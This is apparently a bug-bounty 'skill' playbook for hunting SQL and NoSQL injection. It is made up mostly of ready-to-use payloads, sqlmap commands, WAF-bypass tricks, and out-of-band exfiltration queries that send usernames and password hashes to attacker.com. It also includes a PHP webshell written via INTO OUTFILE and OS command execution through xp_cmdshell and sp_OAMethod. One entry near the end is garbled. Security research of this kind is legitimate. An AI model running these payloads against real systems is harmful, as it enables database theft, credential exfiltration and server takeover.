hunt-sqli

name	hunt-sqli
description	Hunting skill for sqli vulnerabilities. Built from 12 public bug bounty reports including modern NoSQL injection (Rocket.Chat CVE-2021-22911 MongoDB $regex, Mongoose ORM CVE-2024-53900 $where bypass), modern ORM raw-fragment SQLi (Django CVE-2024-42005, Sequelize GHSA-wrh9-cjv3-2hpw), second-order SOQL injection (HackerOne Salesforce), time-based blind SQLi in GraphQL resolvers, and SQLi on OIDC-proxy backends. Use when hunting SQLi / NoSQLi on any target.
sources	github, hackerone_public, github_security_advisories, snyk_research, sonarsource_research
report_count	12

When to Use

Use when the target has any endpoint that interacts with a database — search, filter, sort, login, ID-based lookups, API parameters, or any user input that could be used in a query. SQL injection (including NoSQL injection) remains one of the highest-paying vulnerability classes because it directly threatens data confidentiality, integrity, and availability. Every parameter in GET/POST/JSON/headers/cookies that reaches a backend database is a candidate. Highest-value targets: multi-tenant SaaS platforms, e-commerce/payment systems, search endpoints, analytics subdomains, and third-party plugins.

Crown Jewel Targets

SQL injection remains one of the highest-paying vulnerability classes in bug bounty because it directly threatens data confidentiality, integrity, and availability at scale.

Highest-value targets:

• SaaS platforms with multi-tenant databases — one injection can expose all customer data
• E-commerce/payment systems — PII, card data, transaction records
• Search endpoints — user-controlled input passed directly to queries (e.g., Rockstar Games /search)
• Analytics/tracking subdomains — often built fast, tested less (e.g., sctrack.email.uber.com.cn)
• Third-party plugins on enterprise installs — WordPress plugins, CMS extensions running on corporate domains (Uber's Huge IT Video Gallery)
• Internal tooling exposed externally — Apache Airflow, GitHub Enterprise, admin dashboards
• NoSQL backends (MongoDB) — often overlooked, same injection class, different syntax

Asset types that pay most:

• Production APIs with /search, /filter, /sort, /report parameters
• Subdomains with legacy stacks (.cn, .co, .io regional variants)
• Self-hosted open-source tools (Airflow, GitLab, Jenkins) on bounty scope
• Email tracking and analytics infrastructure

---

Attack Surface Signals

URL patterns that suggest injectable parameters:

/search?q=
/filter?category=
/sort?by=&order=
/report?start_date=&end_date=
/api/v1/items?id=
/index.php?id=
/gallery?album_id=
/track?uid=&campaign=
?page=&limit=&offset=

Response header signals:

• X-Powered-By: PHP — likely MySQL/PostgreSQL backend
• Server: Apache + PHP — classic LAMP stack
• X-Powered-By: Express — possible MongoDB/NoSQL backend
• Database error messages leaking in responses (MySQL, PostgreSQL, MSSQL error strings)

JavaScript patterns indicating dynamic query construction:

// Look for these in JS bundles
fetch(`/api/search?q=${userInput}`)
$.ajax({ url: '/filter?sort=' + param })
axios.get('/report?from=' + startDate + '&to=' + endDate)

Tech stack signals:

• WordPress sites with third-party plugins (check /wp-content/plugins/)
• Apache Airflow endpoints (/admin/, /api/experimental/)
• GitHub Enterprise (/_graphql, /search, /api/v3/)
• Node.js + MongoDB combinations (check for $where, $regex in request bodies)
• PHP applications returning verbose MySQL errors

Content-type signals for NoSQL:

• Content-Type: application/json bodies with nested object parameters
• Parameters accepting arrays: param[]=value or {"key": {"$gt": ""}}

---

Step-by-Step Hunting Methodology

1. Enumerate all input vectors — Use Burp Suite passive scan during normal app usage. Capture every parameter: GET, POST, JSON body, HTTP headers (User-Agent, Referer, X-Forwarded-For), cookies, path segments.

2. Identify the tech stack — Check response headers, error messages, job postings, Wappalyzer, BuiltWith. Determines which payloads to prioritize (MySQL vs PostgreSQL vs MongoDB).

3. Baseline the response — Note normal response length, status code, and response time for a clean request. This is your diff baseline.

4. Send error-based probes — Inject single quote ', double quote ", backtick `, and observe for:

   • Database error messages (immediate confirmation)
   • Response length change
   • HTTP 500 errors

5. Test boolean-based blind — Send true/false conditions and compare responses:

   • param=1 AND 1=1 vs param=1 AND 1=2
   • If responses differ → likely injectable

6. Test time-based blind — When no visible difference exists:

   • MySQL: param=1 AND SLEEP(5)
   • PostgreSQL: param=1; SELECT pg_sleep(5)--
   • MSSQL: param=1; WAITFOR DELAY '0:0:5'--
   • Measure response time delta > 5 seconds = confirmed

7. For NoSQL (MongoDB) — Test object injection via JSON body and PHP-style array params:

   • Replace string value with {"$gt": ""} in JSON
   • Try param[$ne]=invalid in query strings

8. Automate confirmation — Run sqlmap on confirmed candidates with --level=3 --risk=2 to enumerate databases without manual effort.

9. Escalate impact — Attempt:

   • UNION-based extraction (enumerate columns first)
   • INFORMATION_SCHEMA dump
   • File read/write (LOAD_FILE, INTO OUTFILE) if permissions allow
   • Stacked queries for RCE (MSSQL xp_cmdshell)

---

Payload & Detection Patterns

Initial Error-Based Probes:

'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 1=1#
admin'--

Boolean-Based Blind:

' AND 1=1--   (true condition)
' AND 1=2--   (false condition)
' AND SUBSTRING(version(),1,1)='5'--
1 AND (SELECT COUNT(*) FROM users) > 0--

Time-Based Blind:

-- MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--

-- PostgreSQL  
'; SELECT pg_sleep(5)--
1 AND (SELECT 1 FROM pg_sleep(5))--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
1; EXEC xp_cmdshell('ping -n 5 127.0.0.1')--

-- SQLite
' AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))))==1--

UNION-Based (enumerate columns first):

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10--   (find column count via error)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

NoSQL Injection (MongoDB):

// JSON body injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"$where": "this.username == this.password"}

// Query string injection
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=.*&password[$regex]=.*

PHP Hash/Array Injection:

# Replace scalar with array
param[key]=value
param[$gt]=0
param[$ne]=null

Grep patterns for JS source hunting:

# Find unsanitized query construction in JS
grep -r "query\s*+=" src/
grep -r "WHERE.*\+" src/
grep -r "\.find({" src/ | grep -v "sanitize\|escape"
grep -rE "db\.query\(.*\+" src/

curl time-based detection:

# Baseline
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"

# Inject
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"

# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch

# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch

# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5

Burp Intruder payload list for column enumeration:

§1§
§1§,§1§
§1§,§1§,§1§
§1§,§1§,§1§,§1§

---

Common Root Causes

1. String concatenation instead of parameterized queries — The #1 root cause. Developers build SQL strings with user input directly: "SELECT * FROM items WHERE id=" + userId.

2. ORMs bypassed for "performance" — Developer switches from safe ORM to raw query for complex joins or reports: db.query("SELECT " + userColumn + " FROM table").

3. Search/filter functionality — Sorting and filtering logic is notoriously hard to parameterize (column names can't be bound), leading to allowlist bypasses or no protection at all.

4. Third-party plugin/library vulnerabilities — Developers trust installed plugins (WordPress, Joomla extensions) without auditing their query logic (Uber's Huge IT Video Gallery case).

5. Legacy codebases — Old PHP 4/5 code predating PDO/MySQLi prepared statements, still running in production on acquired assets or regional subdomains.

6. Internal tools promoted to external — Tools like Apache Airflow were designed for internal use with minimal security hardening, then exposed to authenticated external users.

7. NoSQL false sense of security — Developers believe "we use MongoDB so no SQL injection" and skip input validation entirely, enabling object/operator injection.

8. Insufficient escaping of ORDER BY / GROUP BY — These clauses cannot use bound parameters, so developers escape manually (and often incorrectly).

9. HTTP header and non-obvious inputs — User-Agent, Referer, X-Forwarded-For stored in DB without sanitization, assuming they're "trusted" server-side values.

---

Bypass Techniques

WAF Bypass Techniques:

Keyword obfuscation:

-- Space substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT username FROM users
%09SELECT%09username%09FROM%09users  (tab)
SELECT%0Ausername%0AFROM%0Ausers    (newline)

-- Case variation
SeLeCt UsErNaMe FrOm UsErS
sElEcT username fRoM users

-- Comment injection
SE/**/LECT username FR/**/OM users
/*!SELECT*/ username /*!FROM*/ users  (MySQL version comments)
/*!50000SELECT*/ username FROM users

Encoding bypasses:

URL encode: %27 = '  %20 = space  %23 = #
Double URL encode: %2527 = %27 = '
Unicode: ʼ (U+02BC) as quote substitute
HTML entity (in reflected contexts): '

Operator substitution:

-- Avoid "OR" and "AND"
' || '1'='1
' && '1'='1
UNION ALL SELECT  (instead of UNION SELECT)

Function substitution:

-- When SLEEP is blocked
BENCHMARK(10000000,MD5(1))
GET_LOCK('a',5)
-- When UNION is blocked
INTO OUTFILE  (different extraction method)

Header-based injection to avoid URL WAFs:

curl -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--" https://target.com/
curl -H "User-Agent: test' AND SLEEP(5)--" https://target.com/
curl -H "Referer: https://evil.com/' AND SLEEP(5)--" https://target.com/

JSON/NoSQL WAF bypass:

{"username": {"$\u0067t": ""}}
{"user\u006eame": {"$gt": ""}}

Authentication bypass for "authenticated-only" injection (Airflow pattern):

• Obtain low-privilege account (free tier, trial, leaked creds)
• Inject via authenticated endpoints — WAFs often whitelist authenticated traffic

Chunked transfer encoding to bypass body inspection:

Transfer-Encoding: chunked
(split payload across chunks to evade WAF reassembly)

---

Gate 0 Validation

Before writing the report, answer all three:

1. What can the attacker DO right now? Must be able to demonstrate at least one of:

• Extract database version/name via error message or UNION
• Prove time-delay control (5s sleep with SLEEP(5), confirmed by timing)
• Extract a row from information_schema.tables
• Bypass authentication via boolean injection
• For NoSQL: bypass login or extract collection data

If the only evidence is an error message change with no data extraction or timing proof, it may be informational only (like Report 1 — rated Low).

2. What does the victim LOSE? Must identify specific data at risk:

• PII (names, emails, passwords, addresses)
• Authentication credentials or session tokens
• Business data (transactions, proprietary records)
• Ability to exfiltrate to attacker-controlled server

A generic "database could be read" without identifying what database/table contains sensitive data weakens the report significantly.

3. Can it be reproduced in 10 minutes from scratch? Must have:

• Single curl command or Burp repeater request that demonstrates the vulnerability
• No dependency on specific session state that expires immediately
• SQLMap tamper script or manual payload that consistently triggers the behavior
• Screen recording or step-by-step that a triage engineer can follow without your help

If you need more than one account, special timing, or race conditions to reproduce — document all prerequisites explicitly before submitting.

---

Real Impact Examples

Scenario A — Regional Subdomain, Legacy Stack (Uber sctrack pattern) An email tracking subdomain (sctrack.email.[company].com.cn) built on a legacy PHP stack accepted a uid parameter for tracking email opens. The parameter was concatenated directly into a MySQL query. Using a time-based blind payload, an unauthenticated attacker could enumerate the entire database schema, extract email campaign recipient lists including PII, and potentially pivot to internal infrastructure. Regional subdomains are often managed by local teams with lower security maturity and outside the primary WAF perimeter — making them consistently high-yield targets.

Scenario B — Third-Party Plugin on Enterprise Domain (Uber WordPress plugin pattern) A company's marketing site ran WordPress with the Huge IT Video Gallery plugin. The plugin's album_id parameter was unparameterized. Because the site shared database credentials with other services, exploitation could reach beyond the WordPress installation. This illustrates the plugin supply chain risk: the parent company's bug bounty scope included the domain, but the vulnerable code was entirely third-party. Hunting WordPress plugins means auditing installed plugins against known CVEs AND testing for novel injections in their parameters — the enterprise brand amplifies the payout even when the root cause is a $20 plugin.

Scenario C — Authenticated Internal Tool Exposed Externally (Airflow pattern) Apache Airflow's web interface, deployed for workflow orchestration and accessible to authenticated users, contained SQL injection in a filter/search parameter within the admin UI. Because Airflow often runs with database superuser credentials (it needs to manage its own metadata DB), exploitation by any authenticated user — including low-privilege accounts — could lead to full database read/write access and potentially OS-level command execution via COPY TO/FROM or similar DB features. The lesson: "authenticated-only" does not mean "safe" — internal tools have weak authorization models and often over-privileged DB connections.

---

Disclosed Report Citations (Backfill +4 — 2021-2024)

The following real, verified bug-bounty / CVE / coordinated-disclosure cases extend this skill with modern (2021-2024) examples emphasising NoSQL and ORM-bypass — the two SQLi families most under-represented in older bundles.

9. Rocket.Chat — Pre-auth blind NoSQL injection in getPasswordPolicy (CVE-2021-22911) (H1 #1130721 · Sonar writeup)

   • Subclass: NoSQL injection (MongoDB $regex operator) — pre-auth
   • Payload (Meteor DDP method call): {"msg":"method","method":"getPasswordPolicy","params":[{"token":{"$regex":"^a"}}]} — brute-force password-reset token character-by-character via response-time/boolean side-channel, then chain to admin password reset → RCE via integrations
   • Root cause: Meteor methods accepted raw object selectors; getPasswordPolicy did not validate that token was a string before passing it to Mongo findOne
   • Year: 2021 — H1 private bounty paired with CVE-2021-22911

10. Mongoose ORM — $where injection via populate({match}) (CVE-2024-53900 + CVE-2025-23061) (GHSA-m7xq-9374-9rvx)

    • Subclass: NoSQL injection — ORM raw-operator bypass (Mongoose Node.js)
    • Payload: Model.find().populate({path:'author', match:{$where:"sleep(5000) || true"}}) — attacker-controlled JSON forwarded into populate({match}) reached MongoDB $where, executing arbitrary server-side JavaScript → blind exfil + DoS
    • Root cause: Mongoose < 8.8.3 did not strip $where inside match filters; developers assumed ORM-level safety
    • Year: 2024 — reported via the Mongoose project / GitHub Security Lab IBB

11. Django — QuerySet.values() JSONField SQL Injection (CVE-2024-42005) (H1 #2646493 · Commit)

    • Subclass: ORM raw-fragment SQLi (Django ORM — column-alias injection)
    • Payload: Item.objects.values('data__"); DROP TABLE x;--') — a crafted JSON-path key (passed as *args from a request parameter) was used as a SQL column alias without escaping; .values() emitted SELECT (data->>'…') AS "…"; DROP TABLE x;--"
    • Root cause: Django emitted unquoted column aliases derived from user-supplied JSONField key strings; assumed alias values were always developer-controlled

---

Advanced Technical Reference (from sqli-playbook)

Out-of-Band (OOB) Exfiltration

Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.

MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP. Use port 80/443 to bypass firewall egress):

'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--

Oracle — UTL_HTTP (HTTP GET with data in URL path, supports proxy):

'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--

Oracle — UTL_INADDR (DNS exfiltration, often bypasses HTTP egress restrictions):

'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--

Attacker sees HASH_VALUE.attacker.com DNS query → read password hash.

Oracle — UTL_SMTP / UTL_TCP (email large data dumps or raw TCP socket):

UTL_SMTP.SENDMAIL(...)   -- send query results via email
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)

MySQL — DNS via LOAD_FILE (Windows + UNC path, triggers DNS lookup before connection):

SELECT LOAD_FILE('\\\\attacker.com\\share')

MySQL — INTO OUTFILE (in-band filesystem write, requires FILE + writable web root + secure_file_priv=''):

SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'

Second-Order Injection

User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.

Example flow:

1. Register username: admin'--
2. Application safely inserts this into users table via parameterized query
3. Password change function fetches username from session (trusted!) and builds:

   UPDATE users SET password='newpass' WHERE username='admin'--'
   

4. Comment strips the condition → updates admin's password

Key insight: Any function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data, batch processing, reporting pipelines.

Parameterized Query Bypass Scenarios

Parameterized queries do NOT prevent SQLi when:

1. Table/column names are user-controlled — params can't parameterize identifiers:

   "SELECT * FROM " + tableName + " WHERE id = ?"   -- UNSAFE
   

   Mitigation: whitelist-validate table/column names.

2. Partial parameterization — some fields concatenated, others parameterized:

   "SELECT * FROM users WHERE type='" + userType + "' AND id=?"  -- UNSAFE
   

3. IN clause with dynamic count (common ORM mistake):

   SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized
   

4. Second-order — data retrieved from DB assumed clean, re-used in query without params.

5. PDO emulated prepares — when PDO::ATTR_EMULATE_PREPARES=true, stacked queries work even with parameterized-looking code.

Stored Procedure Abuse

MSSQL — sp_OAMethod (COM automation for OS command execution):

DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'

Oracle — DBMS_LDAP (outbound LDAP = DNS exfil, exfiltrate via LDAP INIT):

SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

WAF Bypass Matrix

Technique	Blocked	Bypass
Space filtered	SELECT * FROM	SELECT/**/*//**/FROM, SELECT%0a*%0aFROM
Comma filtered	UNION SELECT 1,2,3	UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
Quote filtered	'admin'	0x61646D696E (hex), CHAR(97,100,109,105,110)
OR/AND filtered	OR 1=1	`
= filtered	id=1	id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1
SELECT filtered	—	Use handler (MySQL), PREPARE+hex, or stacked queries
information_schema filtered	—	mysql.innodb_table_stats, sys.schema_table_statistics

Additional WAF bypass patterns:

• Polyglot: SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
• Routed injection: 1' UNION SELECT 0x(inner_payload_hex)-- - where inner payload is another full query hex-encoded
• Unicode tricks: U+02BA (modifier letter double prime) → ", U+02B9 (modifier letter prime) → ', %%2727 → %27 → '

No-Space / No-Comma Bypass

No-Space variants:

SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)         -- parens replace spaces in some contexts
SELECT%09username%09FROM%09users   -- tab
SELECT%0ausername%0aFROM%0ausers   -- newline

No-Comma variants:

-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING without comma: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT without comma: LIMIT 1 OFFSET 0

Related Skills & Chains

Phase X — NUL Byte SQL Injection

Some database drivers (pdo_firebird, older ODBC, legacy C libraries) use strncat()/strcpy() internally during statement preparation. These functions treat \0 (NUL byte) as a string terminator. When user input containing \0 passes through PDO::quote() first (correctly escaped), then through PDO::prepare() (driver-side tokenizer), the NUL byte truncates the quoted literal, dropping the closing quote and allowing SQL injection. Confirmed on PHP Firebird driver (CVE-2025-14179).

# Inject NUL byte to break quoted string boundary
curl -sk "https://target.com/api/search?q=%00' OR '1'='1' --"

# POST with NUL byte in parameter
curl -sk -X POST "https://target.com/api/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"alice\u0000","department":" UNION SELECT * FROM users--"}'

# URL-encoded NUL byte
curl -sk "https://target.com/page.php?id=1%00' UNION SELECT 1,2,3--"

Key indicators:

• Target uses Firebird, PostgreSQL with PDO::ATTR_EMULATE_PREPARES, or legacy ODBC
• Application calls PDO::quote() before PDO::prepare() (pattern: quote-then-prepare)
• NUL byte in parameter causes query corruption even when quoting is "correct"

Related Skills & Chains

• hunt-rce — A SQLi against a DB user with FILE, xp_cmdshell, or COPY FROM PROGRAM privileges is an RCE primitive, not just a data-read. Chain primitive: MSSQL union-based SQLi → EXEC xp_cmdshell 'whoami' → RCE as NT AUTHORITY\SYSTEM; Postgres SQLi with pg_read_server_files or COPY ... FROM PROGRAM 'id' → RCE; MySQL SQLi with FILE → write webshell to web-root via INTO OUTFILE.
• hunt-idor — Once SQLi gives you arbitrary read on the users table, you have the IDs/UUIDs needed to enumerate IDOR endpoints at scale. Chain primitive: blind SQLi extracts users.uuid column → feed UUIDs into /api/users/{uuid}/profile → confirmed mass IDOR-with-PII rather than a theoretical broken-access-control.
• hunt-nosqli — NoSQL injection (MongoDB $regex, $where, $ne) uses a different syntax but the same logic as SQLi. Chain primitive: when SQLi fails on an Express/Mongo stack, switch to {\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}} — auth bypass through a different DB paradigm entirely.
• hunt-ldap — LDAP injection and SQLi share the same root cause (unsanitized input in a query language) but target directory services instead of relational databases. Chain primitive: LDAP injection on an AD-backed login bypasses auth with (&(uid=*)(userPassword={password})) — same injection class, different parser.** — Classic ' OR 1=1 -- in login forms or session tables is auth-bypass-via-SQLi. Chain primitive: SQLi on the password_reset_tokens table → read or insert a token row for [e-mail] → ATO without ever seeing the original password.
• security-arsenal — Reach for the SQLi payload tree (WAF-bypass union variants /**/UnIoN/**/SeLeCt/**/, MSSQL WAITFOR DELAY '0:0:10', MySQL SLEEP(10), Postgres pg_sleep(10), Oracle DBMS_PIPE.RECEIVE_MESSAGE, NoSQLi {"$ne": null} / {"$where": "sleep(5000)"}, second-order via stored-then-rendered fields).
• triage-validation — Apply the Reproducibility Gate before reporting. A 200ms delta on a sleep-10 payload is noise, not blind SQLi. Require statistical evidence (5 trials at 0s vs 5 trials at 10s, non-overlapping confidence intervals) or an OOB DNS callback with a unique marker. The hunt-sqli internal sentinel/baseline pattern exists for exactly this.